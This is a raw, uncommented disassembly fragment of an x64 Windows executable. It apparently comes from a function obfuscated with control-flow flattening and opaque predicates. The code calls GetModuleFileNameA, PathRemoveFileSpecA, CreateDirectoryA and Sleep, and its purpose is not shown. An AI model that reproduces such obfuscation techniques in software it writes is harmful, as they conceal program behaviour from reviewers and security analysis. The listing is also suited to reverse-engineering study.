mov al, sil
xor al, 0xff
and al, 1
mov r8b, 1
xor r8b, 1
mov r9b, sil
and r9b, r8b
mov cl, 1
xor cl, 1
and cl, 0xff
and r8b, 1
or al, r9b
or cl, r8b
xor al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov r9b, 1
xor r9b, 1
mov r8b, dl
and r8b, r9b
or cl, r8b
mov bl, 1
xor bl, 1
and bl, 1
mov r9b, 1
xor r9b, 1
mov r10b, r9b
and r10b, 1
mov r8b, 1
xor r8b, 1
and r8b, 0xff
and r9b, 1
or bl, r10b
or r8b, r9b
xor bl, r8b
mov r8b, 1
xor r8b, 1
mov r15b, al
xor r15b, r8b
and r15b, al
xor sil, 0xff
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 0
or sil, r9b
or r8b, 0
xor sil, 0xff
and sil, r8b
mov r14b, cl
xor r14b, 0xff
mov r9b, 1
xor r9b, 1
mov r8b, 1
xor r8b, 1
or r14b, r9b
or r8b, 1
xor r14b, 0xff
and r14b, r8b
mov r8b, bl
xor r8b, 0xff
mov dil, dl
xor dil, r8b
and dil, dl
mov r8b, r15b
xor r8b, 0xff
mov r10b, sil
xor r10b, 0xff
mov r9b, 1
xor r9b, 0
mov dl, r8b
and dl, 0
and r15b, r9b
mov r11b, r10b
and r11b, 0
and sil, r9b
or dl, r15b
or r11b, sil
xor dl, r11b
or r8b, r10b
xor r8b, 0xff
or r9b, 0
and r8b, r9b
or dl, r8b
mov r9b, r14b
xor r9b, 0xff
mov r11b, dil
xor r11b, 0xff
mov r10b, 1
xor r10b, 1
mov r8b, r9b
and r8b, 0xff
and r14b, r10b
mov sil, r11b
and sil, 0xff
and dil, r10b
or r8b, r14b
or sil, dil
xor r8b, sil
or r9b, r11b
xor r9b, 0xff
or r10b, 1
and r9b, r10b
or r8b, r9b
mov r9b, dl
xor r9b, 0xff
mov r11b, r8b
and r11b, r9b
xor r8b, 0xff
and dl, r8b
or r11b, dl
mov r8b, al
and r8b, cl
xor al, cl
or r8b, al
mov al, r8b
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and r8b, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, r8b
or cl, dl
xor al, cl
mov dl, 1
xor dl, 1
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 0
mov cl, dl
and cl, 0
mov sil, r8b
and sil, 1
mov r10b, r9b
and r10b, 0
and bl, r8b
or cl, sil
or r10b, bl
xor cl, r10b
or dl, r9b
xor dl, 0xff
or r8b, 0
and dl, r8b
or cl, dl
xor cl, 0xff
mov r10b, al
xor r10b, cl
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0c6c34e
mov ecx, 0xb900d83c
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov eax, dword [0x14030b4e8]
mov ecx, dword [0x14030b4ec]
mov r9d, 0xa27af657
add r9d, 0
sub r9d, 1
sub r9d, 0xa27af657
xor r8d, r8d
sub r8d, eax
xor edx, edx
sub edx, r9d
add r8d, edx
xor edx, edx
sub edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov sil, al
xor sil, 0xff
and sil, 1
mov r8b, 1
xor r8b, 1
mov r9b, al
and r9b, r8b
mov dl, 1
xor dl, 1
and dl, 0xff
and r8b, 1
or sil, r9b
or dl, r8b
xor sil, dl
mov r11b, cl
xor r11b, 0xff
and r11b, 1
mov r8b, 1
xor r8b, 1
mov dl, cl
and dl, r8b
or r11b, dl
mov bl, 1
xor bl, 1
and bl, 0
mov r8b, 1
xor r8b, 0
mov r9b, r8b
and r9b, 1
mov dl, 1
xor dl, 1
and dl, 0
and r8b, 1
or bl, r9b
or dl, r8b
xor bl, dl
mov r15b, sil
xor r15b, 0xff
mov r8b, 1
xor r8b, 1
mov dl, 1
xor dl, 1
or r15b, r8b
or dl, 1
xor r15b, 0xff
and r15b, dl
mov dl, bl
xor dl, 0xff
mov r14b, al
xor r14b, dl
and r14b, al
mov al, r11b
xor al, 0xff
mov r8b, 1
xor r8b, 1
mov dl, 1
xor dl, 0
or al, r8b
or dl, 0
xor al, 0xff
and al, dl
xor cl, 0xff
mov r8b, bl
xor r8b, 0xff
mov dl, 1
xor dl, 1
or cl, r8b
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, r15b
xor dl, 0xff
mov r10b, r14b
xor r10b, 0xff
mov r9b, 1
xor r9b, 0
mov r8b, dl
and r8b, 0
and r15b, r9b
mov dil, r10b
and dil, 0
and r14b, r9b
or r8b, r15b
or dil, r14b
xor r8b, dil
or dl, r10b
xor dl, 0xff
or r9b, 0
and dl, r9b
or r8b, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, r8b
xor al, 0xff
and al, 0
mov r9b, 1
xor r9b, 0
and r8b, r9b
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, r9b
or al, r8b
or cl, dl
xor al, cl
mov cl, sil
xor cl, 0xff
mov r8b, r11b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov r9b, cl
and r9b, 0xff
and sil, dl
mov r10b, r8b
and r10b, 0xff
and r11b, dl
or r9b, sil
or r10b, r11b
xor r9b, r10b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or r9b, cl
mov cl, r9b
xor cl, 0xff
and cl, 1
mov r8b, 1
xor r8b, 1
and r9b, r8b
mov dl, 1
xor dl, 1
and dl, 0xff
and r8b, 1
or cl, r9b
or dl, r8b
xor cl, dl
mov dl, 1
xor dl, 1
mov r10b, bl
xor r10b, 0xff
mov r9b, 1
xor r9b, 0
mov r8b, dl
and r8b, 0
mov sil, r9b
and sil, 1
mov r11b, r10b
and r11b, 0
and bl, r9b
or r8b, sil
or r11b, bl
xor r8b, r11b
or dl, r10b
xor dl, 0xff
or r9b, 0
and dl, r9b
or r8b, dl
xor cl, 0xff
xor r8b, 0xff
mov dl, 1
xor dl, 1
or cl, r8b
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0c6c34e
mov ecx, 0xaa03b01b
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov eax, dword [rbp - 4]
mov dword [rbp - 0x7c], eax
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.1402d3a00
mov eax, dword [rbp - 0x7c]
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp - 0x58]
xor eax, eax
mov edx, eax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add rsp, 0x20
mov dword [rbp - 0x68], 0x69fa95e4
jmp 0x140029605
mov rax, qword [rbp - 0x60]
mov dword [rbp - 0x68], 0x4799d7ef
jmp 0x140029605
mov eax, 0x10
call fcn.1402d39a0
sub rsp, rax
mov rax, rsp
mov dword [rax], 0
mov dword [rbp - 0x68], 0x3d89957a
jmp 0x140029605
mov rdx, qword [rbp - 0x50]
xor eax, eax
mov ecx, eax
mov r8d, 0x104
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x58]
mov dword [rbp - 0x68], 0x474457aa
jmp 0x140029605
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
lea rdx, [0x140301277]
call fcn.1400238a0
add rsp, 0x20
mov dword [rbp - 0x68], 0xd6028a0b
jmp 0x140029605
mov dword [rbp - 0x68], 0xde148b96
jmp 0x140029605
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
lea rdx, [0x1403014ec]
call fcn.1400238a0
add rsp, 0x20
mov dword [rbp - 0x68], 0xa39a81a5
jmp 0x140029605
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
lea rdx, [0x1403014c4]
call fcn.1400238a0
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
lea rdx, [0x140301516]
call fcn.1400238a0
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140301701]
call fcn.140022b20
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp - 0x48]
lea rdx, [0x140301423]
sub rsp, 0x20
call fcn.140029610
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [0x14030128d]
sub rsp, 0x20
call fcn.140029610
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov dword [rbp - 0x68], 0x958e826c
jmp 0x140029605
mov rax, qword [rbp - 0x58]
mov dword [rbp - 0x68], 0x8ea7e3d6
jmp 0x140029605
mov rax, qword [rbp - 0x60]
mov dword [rbp - 0x68], 0x49ea419e
jmp 0x140029605
mov dword [rbp - 0x68], 0xf43a5cab
jmp 0x140029605
mov dword [rbp - 0x68], 0xb900d83c
jmp 0x1400266a1